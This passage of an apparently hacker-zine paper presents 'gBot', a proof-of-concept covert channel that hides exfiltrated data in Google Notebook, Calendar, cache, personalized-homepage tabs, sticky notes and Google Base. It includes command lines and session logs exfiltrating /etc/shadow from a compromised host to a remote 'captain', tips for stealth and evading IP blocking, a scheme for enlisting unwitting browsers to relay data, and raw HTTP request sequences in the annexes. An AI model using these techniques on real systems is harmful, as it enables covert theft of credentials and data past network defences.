g00gle won't store our queries (default: `Mozilla`) -q SEED, --seed-search=SEED g00gle query string to gain cache seeds (default: `BATTLESHIP`) //------------------------------------------------------------------------\\ To start a gBot session, we have to supply the notebook public url and the file path we want to exfiltrate. Other possible options for the GcReWbOt are: -f Load the Battleship every X seconds; -l exfiltrate X bytes time to time (payload length); -d specifies where to store base64 data to exfiltrate. If gBot session is interrupted, the upload will resume reading from this file; -a chameleon function: emulate a normal browser performing g00gle searches; -q searches for a string on the g00gle and uses the first 12 cache seeds to UNXOR AC gained from the public Notebook. 1.3. A Real Session - "Hoisting up the Pirate Flag" =================================================== So, let's see how does the gBot sails on open water: 0. Captain downloads some random seed using the g00gle cache; 1. Captain authenticates to the Notebook, xors SID string and serves the the breakfast to the crew (on the public Notebook); 2. Captain waits for the crew to ask to sync a new connection; 3. CrewBot downloads some random seed using the g00gle cache (same query string as the Captain); 4. CrewBot connects to the public Notebook and try to UNXOR the Captain uploaded SID; 5. CrewBot starts exfiltrating content and, time to time, waits for the Captain confirmation for received packets; 6. Once upload is completed, CrewBot asks Captain to strike the Pirate Flag :) and closes the connection. A standard gBot session is detailed hereunder to figure out how the cReW exfiltrates a shadow password file: //------------------------------------------------------------------------\\ // CAPTAIN' SESSION \\ //------------------------------------------------------------------------\\ captain@wws:~$ ./cApTAiNsBrIdGe.py -u grayworldteam -p passwd -f 600 \ -n BDR5oQgoQ3rGnobQi Feeding the hungry cReW... Mmhh...Looks like somebody did not wash dishes last night! :) Trashing nid: NDQFSQwoQrJLXobQi ... Come on cReW, Breakfast is ready! gBot has requested to hastily hoist up the Pirate Flag... Hunting for treasures... Hunting for treasures... Hunting for treasures... Fifteen men of the whole ship's list Yo ho ho and a bottle of rum! Received Map part Number 1 Ok Crew, this map part is good: 1:ACK Hunting for treasures... Fifteen men of the whole ship's list Yo ho ho and a bottle of rum! Received Map part Number 2 Ok Crew, this map part is good: 2:ACK [...] Hunting for treasures... gBot has requested to haul down the Pirate Flag... Decoding treasure's map... Treasure completely unloaded from the battleship: find it in `treasure` file \\------------------------------------------------------------------------// //------------------------------------------------------------------------\\ // CREWBOT' SESSION \\ //------------------------------------------------------------------------\\ crewbot@eb:~# ./GcReWbOt.py -u /etc/shadow -l 2000 -f 10 \ -n /11030262991717430520/BDR5oQgoQ3rGnobQi Let' see if we're resuming from a previous session... Nope... Map file `gbotdb` does not exist Searching for g00gle seeds to decode the SID... Serving Breakfast... Building the Map... Trasmitting map part 0 ... Pirate Flag is UP! Loading the Battleship... Trasmitting map part 1 ... Ok cApTain received the map part: 1:ACK Loading the Battleship... Trasmitting map part 2 ... [...] Ok cApTain received the map part: 19:ACK Trasmitting map part 20 ... Captain received our treasure map! Preapring to haul down the Pirate Flag... Pirate Flag is DOWN! \\------------------------------------------------------------------------// As described above, EB and WWS implement a simple sync mechanism: they read/write from/to the same Notebook as the AC exchange one. A little bit more stealth but slow method may be implemented with the g00gle cache: WWS would thus have to confirm it has received a list a packets, updating a web page that would be reached by EB (after at least 3 days ) using the Cache function ('I-1.3'). I know what you're about to say (but we have a druid on board with runes and pouches and everything needed to oracle the storms): "What about denying the g00gle cache IP address ?". Well, you have to know that the funky part is s/cache_ip/www.google.com/ also allows to get the cached crafted page! ;) Both tools are designed to resist to session interruption trying to resume Load/Unload from the last packet Sent/Received. Moreover, cApTAiNsBrIdGe supports a stealth function exploiting the History Search expiring policy described in (II-1.3.): //------------------------------------------------------------------------\\ // CAPTAIN'S FOGGY SESSION \\ //------------------------------------------------------------------------\\ captain@wws:~$ ./cApTAiNsBrIdGe.py -u grayworldteam -p passwd -f 10 -s 1 \ -n BDR5oQgoQ3rGnobQi Stealth mode activated: Let's sail in the fOg... waiting 15 minutes before serving breakfast to the cReW! [...] \\------------------------------------------------------------------------// Pros and Cons : --------------- $ Stealth solution : without considering synchronization and resume options, we are able to fetch the SID (one request) and start uploading data with single requests (we only will need to be careful about the data size within the GET request to avoid suspicious behaviours). $/- You now have the ideas, you also have a poc, there's no cons at all (or they're well covered), so let's meet "somewhere beyond the sea" ... 1.4. Captain's hints ==================== When you'll start playing with the poc : o Use a short "refresh" period (-f flag) o Remove the captain and gbot databases if you interrupt sessions before upload/download is finished o Don't learn the game with the resume option x. Java[script] Island stopover : enrolling sailors on the way ============================================================== Enrolling unwitting sailors for our battleship is possible with a funny way. Given the various points described within this paper, we are able to enroll legitimate browsers to forward arbitrary data from one site to another. Let suppose someone requests http://website1/page and page returns something like: //-------------------------------------------------------------------\\ \\-------------------------------------------------------------------// The browser will forward "Firesmithing" from website1 to website2 and if a covering scheme is used (frames, open and close, or even advertising cover) the user will have no clue about this behaviour. ================================================================================ ================================ SAILING FAR FAR AWAY TO CONCLUDE ================================ Why g00gle ? Because g00gle is our friend for sure. But as a reminder for the reader, there's plenty other operators to book tickets from if you want to sail free to the wild wild web. To my customer : "Don't worry Dude, there's so much things we need to do to raise your security level step by step. Remember that Europeans do it their way and we do ours ;)". Finally, it seems that the g00gle is *my* friend, is it ? ;) ================================================================================ =========== WEBOGRAPHIE =========== [0] : Peace on you ;) [1] : New Covert Channels in HTTP - Adding Unwitting Web Browsers to Anonymity Sets - M. Bauer http://gray-world.net/papers/bauer_wpes2003.pdf [2] : Legitimate Sites as Covert Channels: An Extension to the Concept of Reverse HTTP Tunnels - Errno Jones http://gray-world.net/papers/lsacc.txt [3] : Google Account Authentication http://code.google.com/apis/accounts/AuthForInstalledApps.html [4] : Google Calendar Data Api http://code.google.com/apis/calendar/overview.html [5] : Using Spam As A Vector Of Back Door Communication (2003) - Vision Through Sound http://www.gray-world.net/papers/spamdoor.txt [6] : Google Spreadsheets Data API Developer's Guide http://code.google.com/apis/spreadsheets/gdata.html [7] : Google Spreadsheets Data API Reference Guide http://code.google.com/apis/spreadsheets/reference.html [8] : NS-310107-GMAIL Multiple problems in server-side session handling http://net-square.com/advisory/NS-310107-GMAIL.pdf ================================================================================ ====== THANKS ====== Thanks to the Lord, TGW and to our fellow draft readers. Thanks to A. because of the contact with J. and thanks to j0hnny's of course ! Special thanks goes to S. who really helped me a lot with fresh ideas, new "Angles and Dangles" and explanations: he did much more than reviewing the paper, he made me look like "A.J.Squared-Away" ;) ================================================================================ ===== ANNEX ===== ANNEX 1 - g00gle Calendar XML feed ================================== Requests/Response : //-------------------------------------------------------------------\\ GET http://www.google.com/calendar/feeds/klec7h98p45qg6h89makmku55h0\ %40group.calendar.google.com/public/basic Host: www.google.com HTTP/1.x 200 OK Content-Type: text/xml; charset=UTF-8 Server: GFE/1.3 ---------------------------------------------------------- Xml feed : //-------------------------------------------------------------------\\ http://www.google.com/calendar/feeds/\ klec7h98p45qg6h89makmku55h0%40group.calendar.google.com\ /public/basic 2007-01-30T12:08:12.000Ztesttest GW TEAMccgw@gmail.com Google Calendar1 1 25 http://www.google.com/calendar/feeds/\ klec7h98p45qg6h89makmku55h0%\ 40group.calendar.google.com/public/basic/\ tsbssh4s5m6tuljjsn2pidbt6o 2007-01-30T12:08:12.000Z 2007-01-30T12:08:12.000Zprova Quando: dal Mar. 30 Gen. 2007 13:30 al 14:30&nbsp; CET<br> <br>Dove: perugia <br>Stato evento: confermatoQuando: dal Mar. 30 Gen. 2007 13:30 al 14:30&nbsp; CET<br> <br>Dove: perugia <br>Stato evento: confermato <br>Descrizione evento: event description test \\-------------------------------------------------------------------// ANNEX 2 - ClientLogin process =============================== Requests/Response : //-------------------------------------------------------------------\\ POST /accounts/ClientLogin Host: https://www.google.com User-Agent: Mozilla/5.0 (compatible;) 200 OK Content-Type: text/plain Cache-control: no-cache Pragma: no-cache Content-Length: 563 Server: GFE/1.3 Connection: Close [...] Page Body : SID = sid-string LSID = lsid-string Auth = auth-string ---------------------------------------------------------- ANNEX 3 - GMail Login ===================== Requests/Response : //-------------------------------------------------------------------\\ 1. POST https://www.google.com/accounts/ServiceLoginBoxAuth Host: www.google.com User-agent: User-Agent: Mozilla/5.0 (compatible;) HTTP/1.x 302 Moved Temporarily Content-Type: text/html; charset=utf-8 Set-Cookie: SID=sid-string Set-Cookie: LSID=lsid-string Server: GFE/1.3 Connection: Close --------------------------------- 2. GET https://www.google.com/accounts/CheckCookie?continue=\ http://mail.google.com/mail/?&service=mail&chtml=LoginDoneHtml Host: www.google.com Cookie: sid-string; lsid-string User-agent: User-Agent: Mozilla/5.0 (compatible;) HTTP/1.x 200 Content-Type: text/html; charset=utf-8 Set-Cookie: LSID=mail:lsid-string;Path=/accounts;Secure Content-Length: 749 Server: GFE/1.3 Connection: Close --------------------------------- 3. GET http://mail.google.com/mail/?auth=auth-string Host: mail.google.com Cookie: sid-string; HTTP/1.x 200 OK Set-Cookie: GV=EXPIRED;Domain=mail.google.com;Path=/;Expires=Mon, 01-Jan-1990 00:00:00 GMT Set-Cookie: GV=EXPIRED;Domain=mail.google.com;Path=/mail;Expires=Mon, 01-Jan-1990 00:00:00 GMT Set-Cookie: GX=gx-string; Path=/mail Set-Cookie: GMAIL_AT=at-string; Path=/mail Set-Cookie: S=gmail=s-string; Domain=.google.com; Path=/ Server: GFE/1.3 ---------------------------------------------------------- ANNEX 4 - Calendar event posting =============================== Requests/Response : //-------------------------------------------------------------------\\ POST /calendar/feeds/default/private/full HTTP/1.1 Accept-Encoding: identity Content-Length: 10634 Host: www.google.com Content-Type: application/atom+xml Authorization: GoogleLogin auth=auth-string User-Agent: Mozilla/5.0 (compatible;) HTTP/1.1 302 Moved Temporarily Location: http://www.google.com/calendar/feeds/grayworld@gmail.com/\ private/full?gsessionid=gsession-string Cache-control: private Content-Length: 274 Date: Fri, 06 Apr 2007 16:47:15 GMT Content-Type: text/html Server: GFE/1.3 Set-Cookie: S=calendar=gsession-string Connection: Close -- auth-string = 182 bytes gsession-string = 11 bytes -- ---------------------------------------------------------- POST /calendar/feeds/grayworld@gmail.com/private/full HTTP/1.1 Accept-Encoding: identity Content-Length: 10634 Cookie: S=calendar=gsession-string Host: www.google.com Content-Type: application/atom+xml Authorization: GoogleLogin auth= User-Agent: Mozilla/5.0 (compatible;) HTTP/1.1 201 Created Content-Type: application/atom+xml; charset=UTF-8 Location: http://www.google.com/calendar/feeds/grayworld%40gmail.com/\ private/full/agbvug0cicqffecqsl1ga8tmvc Transfer-Encoding: chunked Cache-control: private Date: Fri, 06 Apr 2007 16:47:22 GMT Server: GFE/1.3 Connection: Close ---------------------------------------------------------- ANNEX 5 - PH tab name container =============================== //-------------------------------------------------------------------\\ GET http://www.google.com/ncr HTTP/1.1 Host: www.google.com (1) HTTP/1.1 302 Found Location: http://www.google.com/ Set-Cookie: PREF={PREF} ------------------------------------------------------------------- GET http://www.google.com/ig?hl=en HTTP/1.1 Host: www.google.com Cookie: PREF={PREF} (2) HTTP/1.1 200 OK Set-Cookie: IGDND=1 [...] (3) else [...]}_et="rWwoyg2A";_source [...] ------------------------------------------------------------------- GET http://www.google.com/ig/setp?hl=en&et=rWwoyg2A&source=&pid=\ &ap=&prefid=&url=http%3A%2F%2Fwww.google.com%2Fig%3Fhl%3Den&ss=2\ HTTP/1.1 Host: www.google.com Cookie: PREF={PREF}; TZ=-60 (4) HTTP/1.1 302 Found Location: http://www.google.com/ig?hl=en Set-Cookie: IGTP={IGTP} ------------------------------------------------------------------- GET http://www.google.com/ig/setp?hl=en&et=rWwoyg2A&source=&pid=\ &ap=&prefid=&url=http%3A%2F%2Fwww.google.com%2Furl%3Fsa%3Dp%26\ pref%3Dig%26pval%3D3%26q%3Dhttp%253A%252F%252Fwww.google.com%25\ 2Fig%253Fhl%253Den&ss=1 HTTP/1.1 Host: www.google.com Cookie: IGTP={IGTP}; PREF={PREF}; TZ=-60 (5) HTTP/1.1 302 Found Location: http://www.google.com/url?sa=p&pref=ig&pval=3&q=http%3A\ %2F%2Fwww.google.com%2Fig%3Fhl%3Den (6) Set-Cookie: IGTP={IGTP} ------------------------------------------------------------------- (1) asking for the english g00gle (2) asking for the personalized g00gle (3) we need this unique "t6W-DFLw" name for the g00gle to accept us (4) and (5) we need to customize the page (6) to get the right IGTP cookie ------------------------------------------------------------------- GET http://www.google.com/ig/setp?hl=en&et=rWwoyg2A&pid=&ap=\ &source=&prefid=&rt_0=firesmithing HTTP/1.1 Host: www.google.com Cookie: IGTP={IGTP}; PREF={PREF}; TZ=-60 (7) HTTP/1.1 204 No Content Set-Cookie: IGTP={IGTP} ------------------------------------------------------------------- (7) : This is the name of the first Tab ------------------------------------------------------------------- GET http://www.google.com/ig/setp?hl=en&et=rWwoyg2A&source=&pid=\ &ap=&prefid=&url=http%3A%2F%2Fwww.google.com%2Fig%3Fhl%3Den&at=\ HTTP/1.1 Host: www.google.com Cookie: IGTP={IGTP}; PREF={PREF}; TZ=-60 (8) HTTP/1.1 302 Found Location: http://www.google.com/ig?hl=en Set-Cookie: IGTP={IGTP} GET http://www.google.com/ig/setp?hl=en&et=rWwoyg2A&pid=&ap=\ &source=&prefid=&rt_1=battleship HTTP/1.1 Host: www.google.com Cookie: IGTP={IGTP}; PREF={PREF}; TZ=-60 (9) HTTP/1.1 204 No Content Set-Cookie: IGTP={IGTP} ------------------------------------------------------------------- (8) : This creates a new tab (9) : This allow naming the new tab ... We now only have to repeat (8) and (9) to create/name new tab and upload informations while g00gle keeps the other tabs for us. And finally, to get what the g00gle has in its backpack, we just have to request from any other location : ------------------------------------------------------------------- GET http://www.google.com/ig?hl=en HTTP/1.1 Host: www.google.com Cookie: IGTP={IGTP}; PREF={PREF}; TZ=-60 [...] firesmithing [...] battleship [...] \\-------------------------------------------------------------------// ANNEX 6 - PH Sticky note container ================================== //-------------------------------------------------------------------\\ GET http://www.google.com/ncr HTTP/1.1 Host: www.google.com (1) HTTP/1.1 302 Found Location: http://www.google.com/ Set-Cookie: PREF={PREF} ------------------------------------------------------------------- GET http://www.google.com/ig?hl=en HTTP/1.1 Host: www.google.com Cookie: PREF={PREF} (2) HTTP/1.1 200 OK Set-Cookie: IGDND=1 [...] (3) else [...]}_et="mwa3t6OL";_source [...] ------------------------------------------------------------------- (1) asking for the english g00gle (2) asking for the personalized g00gle (3) we need this unique "mwa3t6OL" name for the g00gle to accept us ... and then add the "sticky note stuff" : ------------------------------------------------------------------- GET http://www.google.com/ig/setp?et=mwa3t6OL\ &n_32=url%3Dhttp://www.google.com/ig/modules/sticky.xml HTTP/1.1 Host: www.google.com Cookie: PREF={PREF}; TZ=-60 HTTP/1.1 204 No Content Set-Cookie: IGTP={IGTP} ------------------------------------------------------------------- We now have the IGTP and PREF cookies allowing to update the sticky stuff of the g00gle but we also need the unique name of the stuff within the page. ------------------------------------------------------------------- GET http://www.google.com/ig?hl=en HTTP/1.1 Host: www.google.com Cookie: IGTP={IGTP}; PREF={PREF}; TZ=-60 HTTP/1.1 200 OK Set-Cookie: IGDND=1 (1) [...] _IG_Prefs._add("28","msg_sticky","Sticky Note"); [...] ------------------------------------------------------------------- (1) : Sticky data will be something like "m_28_" To update the "sticky note", we only have have to request : ------------------------------------------------------------------- GET http://www.google.com/ig/setp?hl=en&et=mwa3t6OL\ &m_28_up_stickydata=Firesmithing%20the%20Battleship HTTP/1.1 Host: www.google.com Cookie: IGTP={IGTP}; PREF={PREF}; TZ=-60 HTTP/1.1 204 No Content Set-Cookie: IGTP={IGTP} ------------------------------------------------------------------- And finally, to get what the g00gle has in its backpack, we just have to request from any other location : ------------------------------------------------------------------- GET http://www.google.com/ig?hl=en HTTP/1.1 Host: www.google.com Cookie: IGTP={IGTP}; PREF={PREF}; TZ=-60 HTTP/1.1 200 OK Set-Cookie: IGDND=1 [...] _IG_Prefs._add("28","up_stickydata","Firesmithing the Battleship") [...] \\-------------------------------------------------------------------// ANNEX 7 - g00gle Base data upload ================================= //-------------------------------------------------------------------\\ Request: --------- POST /base/feeds/items HTTP/1.1 Accept-Encoding: identity Content-Length: 571 X-Google-Key:: key=XGK_CODE Host: www.google.com Content-Type: application/atom+xml Authorization: GoogleLogin auth=AC_CODE User-Agent: Mozilla/5.0 (compatible;) TGW B@ttl3ship Time to feed the crew! XGK CODE Battleship AC CODE Response: --------- HTTP/1.1 201 Created Content-Type: text/xml; charset=UTF-8 Location: http://www.google.com/base/feeds/items/17225147362612118753 Transfer-Encoding: chunked Cache-Control: private Content-Encoding: gzip Date: Sun, 04 Feb 2007 13:27:40 GMT Server: GFE/1.3 Connection: Close XML Crew Feed returned: ----------------------- http://www.google.com/base/feeds/items/17225147362612118753 2007-02-04T13:27:40.620Z 2007-02-04T13:27:40.620Z TGW B@ttl3ship Time to feed the crew! XGK CODE Battleship AC CODE www.google.com -- XGK_CODE = 86 Bytes AC_CODE = 182 Bytes -- //-------------------------------------------------------------------\\ ANNEX 8 - g00gle Base search ============================ //-------------------------------------------------------------------\\ Request : --------- GET /base/feeds/snippets/-/Battleship Content-Type: application/atom+xml Response : --------- 200 OK Content-Type: text/xml; charset=UTF-8 Last-Modified: Sun, 04 Feb 2007 16:38:25 GMT Cache-Control: max-age=0, must-revalidate, private Transfer-Encoding: chunked Content-Encoding: gzip Date: Sun, 04 Feb 2007 16:38:25 GMT Server: GFE/1.3 Connection: Keep-Alive XML Crew Feed returned by the search: ------------------------------------- http://www.google.com/base/feeds/snippets 2007-02-04T16:38:25.214Z Items matching query: [item type:Battleship] GoogleBase 1 1 25 http://www.google.com/base/feeds/snippets/17225147362612118753 2007-02-04T13:27:40.000Z 2007-02-04T16:37:20.000Z TGW B@ttl3ship Time to feed the crew! Sig SegV anon-6vgve15gqr9j@base.google.com XGK CODE Battleship US www google com 2038-01-19T03:14:07.000Z AC CODE